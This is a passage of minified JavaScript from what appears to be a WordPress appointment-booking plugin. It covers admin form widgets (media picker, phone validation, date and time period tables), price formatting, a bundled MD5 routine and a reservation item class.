img\"),this.$addButton=this.$element.find(\".mpa-add-media\"),this.$removeButton=this.$element.find(\".mpa-remove-media\"),this.thumbnailSize=this.$input.attr(\"thumbnail-size\")}addListeners(){this.$preview.on(\"click\",this.selectMedia.bind(this)),this.$addButton.on(\"click\",this.selectMedia.bind(this)),this.$removeButton.on(\"click\",this.removeMedia.bind(this))}getRawValue(){return this.$input.val()}getValue(){return S(this.getRawValue())}setValue(e){this.updateValue(e),this.react()}updateValue(e){this.$input.val(e)}react(){let e=b(this.getValue());this.$addButton.toggleClass(\"mpa-hide\",e),this.$removeButton.toggleClass(\"mpa-hide\",!e),e?this.updatePreview():this.resetPreview()}updatePreview(){let e=wp.media.attachment(this.getValue()).attributes.sizes[this.thumbnailSize].url;this.$preview.removeClass(\"mpa-hide\").attr(\"src\",e)}resetPreview(){this.$preview.addClass(\"mpa-hide\").attr(\"src\",\"\")}selectMedia(e){e.preventDefault();let t=wp.media({multiple:!1});t.open().on(\"select\",(e=>{let i=t.state().get(\"selection\").first().toJSON().id;this.setValue(i)}))}removeMedia(e){e.preventDefault(),this.setValue(\"\")}}function I(e){const s=jQuery(\"\u003Cspan\u002F>\",{id:e.attr(\"id\")+\"_error\",class:\"mpa-phone-field-error mpa-hide\",text:c(\"Phone number is invalid.\",\"motopress-appointment\")});e.after(\"\u003Cbr>\",s);const a=t(e[0],{separateDialCode:!0,initialCountry:i.settings.country,hiddenInput:e.attr(\"name\"),utilsScript:i.urls.plugin+\"assets\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fjs\u002Futils.js\"});a.promise.then((()=>{e.val()&&r(),e.on(\"countrychange\",(e=>{r()})),e.on(\"input\",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery(\"input[type='hidden'][name='\"+e.attr(\"name\")+\"']\").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass(\"mpa-phone-number--invalid\"),s.addClass(\"mpa-hide\")):(e.addClass(\"mpa-phone-number--invalid\"),s.removeClass(\"mpa-hide\"))};return a}window.mpa_intl_tel_input=I;class w extends s{constructor(e){super(e),this.$input=e.find(\"input\").first(),I(this.$input)}}let T={};function _(e,t=!1){return\"object\"==typeof e?0==function(e,t=!1){return\"object\"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function C(e=\"\",t=!1){let i=function(e,t){return t\u003C(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join(\"0\")+e:e};T.uniqid_seed||(T.uniqid_seed=Math.floor(123456789*Math.random())),T.uniqid_seed++;let s=e;return s+=i(parseInt((new Date).getTime()\u002F1e3,10),8),s+=i(T.uniqid_seed,5),t&&(s+=(10*Math.random()).toFixed(8).toString()),s}function k(e){return e.filter(((e,t,i)=>i.indexOf(e)===t))}function P(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function D(e,t){let i=Math.min(e.length,t.length),s={};for(let a=0;a\u003Ci;a++)s[e[a]]=t[a];return s}function E(e,t,i=1){let s=i||1,a=Math.abs(Math.floor((t-e)\u002Fs))+1;return[...Array(a).keys()].map((t=>t*i+e))}function x(e,t=\"public\"){e%=1440;let i=parseInt(e\u002F60);e%=60;let s=y();return s.setHours(i,e),A(s,t)}function A(e,t=\"public\"){return m(e,\"internal\"==t?\"H:i\":\"public\"==t?h().settings().getTimeFormat():t)}function M(e){let t=e.split(\":\"),i=parseInt(t[0]),s=parseInt(t[1]),a=y();return a.setHours(i,s),a}function L(e){let t=\"\";for(let i in e)t+=\" \"+i+'=\"'+e[i]+'\"';return t}function B(e,t={}){return\"\u003Cbutton\"+L(t=jQuery.extend({},{type:\"button\",class:\"button\"},t))+\">\"+e+\"\u003C\u002Fbutton>\"}function O(e,t=\"\"){return'\u003Cspan class=\"'+`dashicons dashicons-${e} ${t}`.trimRight()+'\">\u003C\u002Fspan>'}function V(e,t){let i={service_id:\".mpa-service-id\",service_name:\".mpa-service-name\",service_thumbnail:\".mpa-service-thumbnail\",employee_id:\".mpa-employee-id\",employee_name:\".mpa-employee-name\",location_id:\".mpa-location-id\",location_name:\".mpa-location-name\",reservation_date:\".mpa-reservation-date\",reservation_save_date:\".mpa-reservation-save-date\",reservation_time:\".mpa-reservation-time\",reservation_period:\".mpa-reservation-period\",reservation_save_period:\".mpa-reservation-save-period\",reservation_capacity:\".mpa-reservation-capacity\",reservation_clients:\".mpa-reservation-clients\",reservation_clients_count:\".mpa-reservation-clients-count\",reservation_price:\".mpa-reservation-price\"},s=t.clone();s.attr(\"data-id\",e.getItemId());let a=e.getCapacityOptions();for(let t in i){let r=i[t],n=s.find(r).first(),o=\"{\"+t+\"}\";if(!(n.length>0?n.html():\"\").includes(o))continue;let l=\"\";switch(t){case\"service_id\":l=e.service.id;break;case\"service_name\":l=e.service.name;break;case\"service_thumbnail\":l=U(e.service.thumbnail);break;case\"employee_id\":l=e.employee.id;break;case\"employee_name\":l=e.employee.name;break;case\"location_id\":l=e.location.id;break;case\"location_name\":l=e.location.name;break;case\"reservation_date\":l=m(e.date);break;case\"reservation_save_date\":l=m(e.date,\"internal\");break;case\"reservation_time\":l=e.time.toString(\"short\");break;case\"reservation_period\":l=e.time.toString();break;case\"reservation_save_period\":l=e.time.toString(\"internal\");break;case\"reservation_capacity\":l=j(D(a,a),e.capacity);break;case\"reservation_clients\":l=H(D(a,a),e.capacity);break;case\"reservation_clients_count\":l=e.capacity;break;case\"reservation_price\":let t=e.employee.id;l=R(e.service.getPrice(t,e.capacity))}n.html(n.html().replace(o,l))}return s.find(\".cell-people .cell-title\").html(e.getService().getQuantityLabel()),s.find('[name*=\"{item_id}\"]').each(((t,i)=>{i.name=i.name.replace(\"{item_id}\",e.getItemId())})),1===a.length&&s.find(\".cell-people\").addClass(\"mpa-hide\"),s}function F(e,t,i=\"public\"){let s=\"short\"==i?\"public\":i,a=m(e,s),r=m(t,s);return\"short\"==i&&a==r?a:a+\" - \"+r}function R(e,t={}){let i=h().settings();t=jQuery.extend({currency_symbol:i.getCurrencySymbol(),currency_position:i.getCurrencyPosition(),decimal_separator:i.getDecimalSeparator(),thousand_separator:i.getThousandSeparator(),decimals:i.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let s=function(e,t=0,i=\".\",s=\",\"){let a,r,n,o,l,h=\"\";return e\u003C0&&(h=\"-\",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+\"\",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+s:\"\",n=a.substr(r).replace(\u002F(\\d{3})(?=\\d)\u002Fg,\"$1\"+s),o=t?i+Math.abs(e-a).toFixed(t).replace(\u002F-\u002F,0).slice(2):\"\",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a=\"mpa-price\";if(0==e&&(a+=\" mpa-zero-price\"),0==e&&t.literal_free)a+=\" mpa-price-free\",s=d(\"Free\",\"Zero price\",\"motopress-appointment\");else{t.trim_zeros&&(s=function(e,t=null){null==t&&(t=h().settings().getDecimalSeparator());let i=new RegExp(\"\\\\\"+t+\"0+$\");return e.replace(i,\"\")}(s));let i='\u003Cspan class=\"mpa-currency\">'+t.currency_symbol+\"\u003C\u002Fspan>\";switch(t.currency_position){case\"before\":s=i+s;break;case\"after\":s+=i;break;case\"before_with_space\":s=i+\"&nbsp;\"+s;break;case\"after_with_space\":s=s+\"&nbsp;\"+i}e\u003C0&&(s=\"-\"+s)}return'\u003Cspan class=\"'+a+'\">'+s+\"\u003C\u002Fspan>\"}function j(e,t,i={}){let s=\"\u003Cselect\"+L(i)+\">\";return s+=H(e,t),s+=\"\u003C\u002Fselect>\",s}function N(e,t,i=!1){let s=\"\";return s='\u003Coption value=\"'+e+'\"'+(i?' selected=\"selected\"':\"\")+\">\",s+=t,s+=\"\u003C\u002Foption>\",s}function H(e,t){let i=\"\";for(let s in e)i+=N(s,e[s],s==t);return i}function Q(e,t,i,s){let a=\"\";const r=String(s);for(const[e,i]of Object.entries(t))a+=N(e,i,e===r);for(let e of i)a+=N(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function U(e){let{width:t,height:i}=h().settings().getThumbnailSize();return\"\u003Cimg\"+L({width:t,height:i,src:e,class:\"attachment-thumbnail size-thumbnail\"})+\">\"}class W extends s{constructor(e){super(e),this.setupProperties(),this.addListeners()}setupProperties(){this.$table=this.$element.find(\"table\"),this.$rows=this.$table.children(\"tbody\"),this.$addButton=this.$element.find(\".mpa-add-button\"),this.baseName=this.$element.attr(\"data-base-name\"),this.rows={},this.rowsCount=0,this.$element.find(\".mpa-attribute\").each(((e,t)=>{let i=jQuery(t),s=i.attr(\"data-id\");this.rows[s]=i,this.rowsCount++}))}addListeners(){let e=this;this.$addButton.on(\"click\",(()=>{this.addRow()})),this.$element.find(\".mpa-remove-button\").on(\"click\",(function(){e.removeRowByElement(this)}))}addRow(){let e=C(),t=this.renderRow(e);this.$rows.append(t);let i=this.$rows.find('[data-id=\"'+e+'\"]');this.rows[e]=i,this.rowsCount++,this.$table.removeClass(\"mpa-hide\");let s=this;i.find(\".mpa-remove-button\").on(\"click\",(function(){s.removeRowByElement(this)}))}renderRow(e){let t=this.baseName+\"[\"+e+\"]\",i=\"\";return i+='\u003Ctr class=\"mpa-attribute\" data-id=\"'+e+'\">',i+='\u003Ctd class=\"column-label\">',i+='\u003Cinput type=\"text\" name=\"'+t+'[label]\" value=\"\" class=\"large-text\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-content\">',i+='\u003Cinput type=\"text\" name=\"'+t+'[content]\" value=\"\" class=\"large-text\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-link\">',i+='\u003Cinput type=\"text\" name=\"'+t+'[link]\" value=\"\" class=\"large-text\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-class\">',i+='\u003Cinput type=\"text\" name=\"'+t+'[class]\" value=\"\" class=\"large-text\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-actions\">'+O(\"trash\",\"mpa-remove-button\")+\"\u003C\u002Ftd>\",i+=\"\u003C\u002Ftr>\",i}removeRowByElement(e){let t=jQuery(e).parents(\".mpa-attribute\").attr(\"data-id\");t&&this.removeRow(t)}removeRow(e){this.rows.hasOwnProperty(e)&&(this.rows[e].remove(),this.rowsCount--,delete this.rows[e],0==this.rowsCount&&this.$table.addClass(\"mpa-hide\"))}}class z extends s{constructor(e){super(e),this.$table=this.$element.children(\"table\"),this.$tableBody=this.$table.children(\"tbody\"),this.$noItemsRow=this.$tableBody.children(\".no-items\"),this.$newPeriodRow=this.$tableBody.children(\".mpa-new-period\"),this.timeSelects=this.$newPeriodRow.find(\".mpa-period\"),this.$startTimeHoursInput=this.$newPeriodRow.find(\".mpa-period__start-hours\"),this.$startTimeMinutesInput=this.$newPeriodRow.find(\".mpa-period__start-minutes\"),this.$endTimeHoursInput=this.$newPeriodRow.find(\".mpa-period__end-hours\"),this.$endTimeMinutesInput=this.$newPeriodRow.find(\".mpa-period__end-minutes\"),this.$timeAllDayInput=this.$newPeriodRow.find(\".mpa-period__all-day\"),this.baseName=this.$element.attr(\"data-base-name\"),this.datepicker=null,this.periods={length:0,add:function(e,t){let i=null==this[e];this[e]=t,i&&this.length++},remove:function(e){null!=this[e]&&(delete this[e],this.length--)},hasItems:function(){return this.length>0}},this.parseInitialState(),this.addListeners()}parseInitialState(){this.$tableBody.children(\":not(.no-items, .mpa-new-period)\").each(((e,t)=>{let i=t.getAttribute(\"data-id\"),s=jQuery(t).find(\".column-actions > input\").val();this.periods.add(i,s)}))}initDatepicker(){this.datepicker=v(this.$tableBody.find(\".mpa-new-period > .column-dates > input\"),{mode:\"range\"})}addListeners(){this.$timeAllDayInput.on(\"change\",(e=>{e.target.checked?this.timeSelects.hide():this.timeSelects.show()})),this.$table.find(\"thead .mpa-add-button\").on(\"click\",(()=>{this.toggleEdit()})),this.$tableBody.find(\".mpa-add-button\").on(\"click\",(()=>{this.onAdd()}));let e=this;this.$tableBody.find(\".mpa-remove-button\").on(\"click\",(function(){e.removePeriodByParent(this)}))}toggleEdit(){this.$newPeriodRow.hasClass(\"mpa-hide\")?(this.$newPeriodRow.removeClass(\"mpa-hide\"),null==this.datepicker?this.initDatepicker():this.datepicker.clear()):this.$newPeriodRow.addClass(\"mpa-hide\")}addPeriod(e,t,i,s){let a=e+\", \"+t,r=C(),n=this.renderPeriod(r,e,t,i,s);jQuery(n).insertAfter(this.$newPeriodRow),this.periods.add(r,a);let o=this.$tableBody.find('[data-id=\"'+r+'\"] .mpa-remove-button'),l=this;o.on(\"click\",(function(){l.removePeriodByParent(this)})),this.toggleEdit(),this.$noItemsRow.addClass(\"mpa-hide\")}renderPeriod(e,t,i,s,a){let r=t+\", \"+i,n=\"\";return n+='\u003Ctr class=\"mpa-period\" data-id=\"'+e+'\">',n+='\u003Ctd class=\"column-dates mpa-badge-new\">',n+=s,n+=\"\u003C\u002Ftd>\",n+='\u003Ctd class=\"column-time mpa-badge-new\">',n+=a,n+=\"\u003C\u002Ftd>\",n+='\u003Ctd class=\"column-actions\">',n+='\u003Cinput type=\"hidden\" name=\"'+this.baseName+'[]\" value=\"'+r+'\">',n+=B(c(\"Remove\",\"motopress-appointment\"),{class:\"button button-secondary mpa-remove-button\"}),n+=\"\u003C\u002Ftd>\",n+=\"\u003C\u002Ftr>\",n}getStartTime(){let e=0;return this.$timeAllDayInput.prop(\"checked\")||(e=60*parseInt(this.$startTimeHoursInput.val())+parseInt(this.$startTimeMinutesInput.val())),e}getEndTime(){let e=0;return this.$timeAllDayInput.prop(\"checked\")||(e=60*parseInt(this.$endTimeHoursInput.val())+parseInt(this.$endTimeMinutesInput.val())),e}onAdd(){let e=this.getStartTime(),t=this.getEndTime();if(!(this.datepicker.selectedDates.length>=2)||e===t&&0!==t||e>t&&0!==t)return;let i=this.datepicker.selectedDates[0],s=this.datepicker.selectedDates[1],a=m(i,\"internal\")+\" - \"+m(s,\"internal\"),r=F(i,s,\"short\"),n=x(e,\"internal\")+\" - \"+x(t,\"internal\"),o=x(e)+\" - \"+x(t);0===e&&0===e&&e===t&&(o=c(\"All day\",\"motopress-appointment\")),this.addPeriod(a,n,r,o)}removePeriodByParent(e){let t=jQuery(e).parents(\"tr.mpa-period\");if(0==t.length)return;let i=t.attr(\"data-id\");this.periods.remove(i),this.periods.hasItems()||this.$noItemsRow.removeClass(\"mpa-hide\"),t.remove()}}class K extends s{constructor(e){super(e),this.$table=this.$element.children(\"table\"),this.$tableBody=this.$table.children(\"tbody\"),this.$noItemsRow=this.$tableBody.children(\".no-items\"),this.$newPeriodRow=this.$tableBody.children(\".mpa-new-period\"),this.baseName=this.$element.attr(\"data-base-name\"),this.datepicker=null,this.periods={length:0,add:function(e,t){let i=null==this[e];this[e]=t,i&&this.length++},remove:function(e){null!=this[e]&&(delete this[e],this.length--)},hasItems:function(){return this.length>0}},this.parseInitialState(),this.addListeners()}parseInitialState(){this.$tableBody.children(\":not(.no-items, .mpa-new-period)\").each(((e,t)=>{let i=t.getAttribute(\"data-id\"),s=jQuery(t).find(\".column-actions > input\").val();this.periods.add(i,s)}))}initDatepicker(){this.datepicker=v(this.$tableBody.find(\".mpa-new-period > .column-dates > input\"),{mode:\"range\",showMonths:2})}addListeners(){let e=this;this.$table.find(\"thead .mpa-add-button\").on(\"click\",(()=>{this.toggleEdit()})),this.$tableBody.find(\".mpa-add-button\").on(\"click\",(()=>{this.onAdd()})),this.$tableBody.find(\".mpa-remove-button\").on(\"click\",(function(){e.removePeriodByParent(this)}))}toggleEdit(){this.$newPeriodRow.hasClass(\"mpa-hide\")?(this.$newPeriodRow.removeClass(\"mpa-hide\"),null==this.datepicker?this.initDatepicker():this.datepicker.clear()):this.$newPeriodRow.addClass(\"mpa-hide\")}addPeriod(e,t){let i=C(),s=this.renderPeriod(i,e,t);jQuery(s).insertAfter(this.$newPeriodRow),this.periods.add(i,e);let a=this.$tableBody.find('[data-id=\"'+i+'\"] .mpa-remove-button'),r=this;a.on(\"click\",(function(){r.removePeriodByParent(this)})),this.toggleEdit(),this.$noItemsRow.addClass(\"mpa-hide\")}renderPeriod(e,t,i){let s=\"\";return s+='\u003Ctr class=\"mpa-period\" data-id=\"'+e+'\">',s+='\u003Ctd class=\"column-dates mpa-badge-new\">',s+=i,s+=\"\u003C\u002Ftd>\",s+='\u003Ctd class=\"column-actions\">',s+='\u003Cinput type=\"hidden\" name=\"'+this.baseName+'[]\" value=\"'+t+'\">',s+=B(c(\"Remove\",\"motopress-appointment\"),{class:\"button button-secondary mpa-remove-button\"}),s+=\"\u003C\u002Ftd>\",s+=\"\u003C\u002Ftr>\",s}onAdd(){if(this.datepicker.selectedDates.length\u003C2)return;let e=this.datepicker.selectedDates[0],t=this.datepicker.selectedDates[1],i=m(e,\"internal\")+\" - \"+m(t,\"internal\"),s=F(e,t,\"short\");this.addPeriod(i,s)}removePeriodByParent(e){let t=jQuery(e).parents(\"tr.mpa-period\");if(0==t.length)return;let i=t.attr(\"data-id\");this.periods.remove(i),this.periods.hasItems()||this.$noItemsRow.removeClass(\"mpa-hide\"),t.remove()}}function Y(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,\"default\")?e.default:e}var q,J,G={exports:{}},X={exports:{}};q=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\u002F\",J={rotl:function(e,t){return e\u003C\u003Ct|e>>>32-t},rotr:function(e,t){return e\u003C\u003C32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&J.rotl(e,8)|4278255360&J.rotl(e,24);for(var t=0;t\u003Ce.length;t++)e[t]=J.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],i=0,s=0;i\u003Ce.length;i++,s+=8)t[s>>>5]|=e[i]\u003C\u003C24-s%32;return t},wordsToBytes:function(e){for(var t=[],i=0;i\u003C32*e.length;i+=8)t.push(e[i>>>5]>>>24-i%32&255);return t},bytesToHex:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push((e[i]>>>4).toString(16)),t.push((15&e[i]).toString(16));return t.join(\"\")},hexToBytes:function(e){for(var t=[],i=0;i\u003Ce.length;i+=2)t.push(parseInt(e.substr(i,2),16));return t},bytesToBase64:function(e){for(var t=[],i=0;i\u003Ce.length;i+=3)for(var s=e[i]\u003C\u003C16|e[i+1]\u003C\u003C8|e[i+2],a=0;a\u003C4;a++)8*i+6*a\u003C=8*e.length?t.push(q.charAt(s>>>6*(3-a)&63)):t.push(\"=\");return t.join(\"\")},base64ToBytes:function(e){e=e.replace(\u002F[^A-Z0-9+\\\u002F]\u002Fgi,\"\");for(var t=[],i=0,s=0;i\u003Ce.length;s=++i%4)0!=s&&t.push((q.indexOf(e.charAt(i-1))&Math.pow(2,-2*s+8)-1)\u003C\u003C2*s|q.indexOf(e.charAt(i))>>>6-2*s);return t}},X.exports=J;var Z=X.exports,ee={utf8:{stringToBytes:function(e){return ee.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape(ee.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push(255&e.charCodeAt(i));return t},bytesToString:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push(String.fromCharCode(e[i]));return t.join(\"\")}}},te=ee,ie=function(e){return null!=e&&(se(e)||function(e){return\"function\"==typeof e.readFloatLE&&\"function\"==typeof e.slice&&se(e.slice(0,0))}(e)||!!e._isBuffer)};function se(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=Z,t=te.utf8,i=ie,s=te.bin,a=function(r,n){r.constructor==String?r=n&&\"binary\"===n.encoding?s.stringToBytes(r):t.stringToBytes(r):i(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,d=-1732584194,p=271733878,u=0;u\u003Co.length;u++)o[u]=16711935&(o[u]\u003C\u003C8|o[u]>>>24)|4278255360&(o[u]\u003C\u003C24|o[u]>>>8);o[l>>>5]|=128\u003C\u003Cl%32,o[14+(l+64>>>9\u003C\u003C4)]=l;var m=a._ff,g=a._gg,y=a._hh,v=a._ii;for(u=0;u\u003Co.length;u+=16){var f=h,b=c,S=d,$=p;h=m(h,c,d,p,o[u+0],7,-680876936),p=m(p,h,c,d,o[u+1],12,-389564586),d=m(d,p,h,c,o[u+2],17,606105819),c=m(c,d,p,h,o[u+3],22,-1044525330),h=m(h,c,d,p,o[u+4],7,-176418897),p=m(p,h,c,d,o[u+5],12,1200080426),d=m(d,p,h,c,o[u+6],17,-1473231341),c=m(c,d,p,h,o[u+7],22,-45705983),h=m(h,c,d,p,o[u+8],7,1770035416),p=m(p,h,c,d,o[u+9],12,-1958414417),d=m(d,p,h,c,o[u+10],17,-42063),c=m(c,d,p,h,o[u+11],22,-1990404162),h=m(h,c,d,p,o[u+12],7,1804603682),p=m(p,h,c,d,o[u+13],12,-40341101),d=m(d,p,h,c,o[u+14],17,-1502002290),h=g(h,c=m(c,d,p,h,o[u+15],22,1236535329),d,p,o[u+1],5,-165796510),p=g(p,h,c,d,o[u+6],9,-1069501632),d=g(d,p,h,c,o[u+11],14,643717713),c=g(c,d,p,h,o[u+0],20,-373897302),h=g(h,c,d,p,o[u+5],5,-701558691),p=g(p,h,c,d,o[u+10],9,38016083),d=g(d,p,h,c,o[u+15],14,-660478335),c=g(c,d,p,h,o[u+4],20,-405537848),h=g(h,c,d,p,o[u+9],5,568446438),p=g(p,h,c,d,o[u+14],9,-1019803690),d=g(d,p,h,c,o[u+3],14,-187363961),c=g(c,d,p,h,o[u+8],20,1163531501),h=g(h,c,d,p,o[u+13],5,-1444681467),p=g(p,h,c,d,o[u+2],9,-51403784),d=g(d,p,h,c,o[u+7],14,1735328473),h=y(h,c=g(c,d,p,h,o[u+12],20,-1926607734),d,p,o[u+5],4,-378558),p=y(p,h,c,d,o[u+8],11,-2022574463),d=y(d,p,h,c,o[u+11],16,1839030562),c=y(c,d,p,h,o[u+14],23,-35309556),h=y(h,c,d,p,o[u+1],4,-1530992060),p=y(p,h,c,d,o[u+4],11,1272893353),d=y(d,p,h,c,o[u+7],16,-155497632),c=y(c,d,p,h,o[u+10],23,-1094730640),h=y(h,c,d,p,o[u+13],4,681279174),p=y(p,h,c,d,o[u+0],11,-358537222),d=y(d,p,h,c,o[u+3],16,-722521979),c=y(c,d,p,h,o[u+6],23,76029189),h=y(h,c,d,p,o[u+9],4,-640364487),p=y(p,h,c,d,o[u+12],11,-421815835),d=y(d,p,h,c,o[u+15],16,530742520),h=v(h,c=y(c,d,p,h,o[u+2],23,-995338651),d,p,o[u+0],6,-198630844),p=v(p,h,c,d,o[u+7],10,1126891415),d=v(d,p,h,c,o[u+14],15,-1416354905),c=v(c,d,p,h,o[u+5],21,-57434055),h=v(h,c,d,p,o[u+12],6,1700485571),p=v(p,h,c,d,o[u+3],10,-1894986606),d=v(d,p,h,c,o[u+10],15,-1051523),c=v(c,d,p,h,o[u+1],21,-2054922799),h=v(h,c,d,p,o[u+8],6,1873313359),p=v(p,h,c,d,o[u+15],10,-30611744),d=v(d,p,h,c,o[u+6],15,-1560198380),c=v(c,d,p,h,o[u+13],21,1309151649),h=v(h,c,d,p,o[u+4],6,-145523070),p=v(p,h,c,d,o[u+11],10,-1120210379),d=v(d,p,h,c,o[u+2],15,718787259),c=v(c,d,p,h,o[u+9],21,-343485551),h=h+f>>>0,c=c+b>>>0,d=d+S>>>0,p=p+$>>>0}return e.endian([h,c,d,p])};a._ff=function(e,t,i,s,a,r,n){var o=e+(t&i|~t&s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._gg=function(e,t,i,s,a,r,n){var o=e+(t&s|i&~s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._hh=function(e,t,i,s,a,r,n){var o=e+(t^i^s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._ii=function(e,t,i,s,a,r,n){var o=e+(i^(t|~s))+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,G.exports=function(t,i){if(null==t)throw new Error(\"Illegal argument \"+t);var r=e.wordsToBytes(a(t,i));return i&&i.asBytes?r:i&&i.asString?s.bytesToString(r):e.bytesToHex(r)}}();var ae=Y(G.exports);class re{setupProperties(){this.itemId=\"\",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e=\"all\"){return\"ids\"===e?this.getIds():\"availability\"===e?this.getAvailableIds():\"period\"===e?{date:null!==this.date?m(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\"}:jQuery.extend(this.getIds(),{date:null!==this.date?m(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\",capacity:this.capacity})}isSet(e=\"all\"){let t=!0;return\"all\"!==e&&\"ids\"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),\"all\"!==e&&\"period\"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&m(this.date,\"internal\")==m(e,\"internal\")&&this.time.toString(\"internal\")==t.toString(\"internal\")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(E(t.minCapacity,t.maxCapacity));return k(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case\"disabled\":default:t=e;break;case\"fixed\":t=this.service.depositAmount;break;case\"percentage\":t=e*this.service.depositAmount\u002F100}return t>e?e:t}getHash(e=\"all\"){return ae(JSON.stringify(this.toArray(e)))}didChange(e,t=\"all\"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){\"number\"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){\"number\"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e\u003C=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let ne=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let i=!this.includesKey(e);return this.values[e]=t,i&&(this.keys.push(e),this.length++),i}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let i=this.findNextKey(e);return\"\"!==i?this.values[i]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let i=t+1;return i\u003Cthis.length?this.keys[i]:this.keys[t]}findPrevious(e,t=null){let i=this.findPreviousKey(e);return\"\"!==i?this.values[i]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let i=t-1;return i>=0?this.keys[i]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let i=this.keys.indexOf(e);return 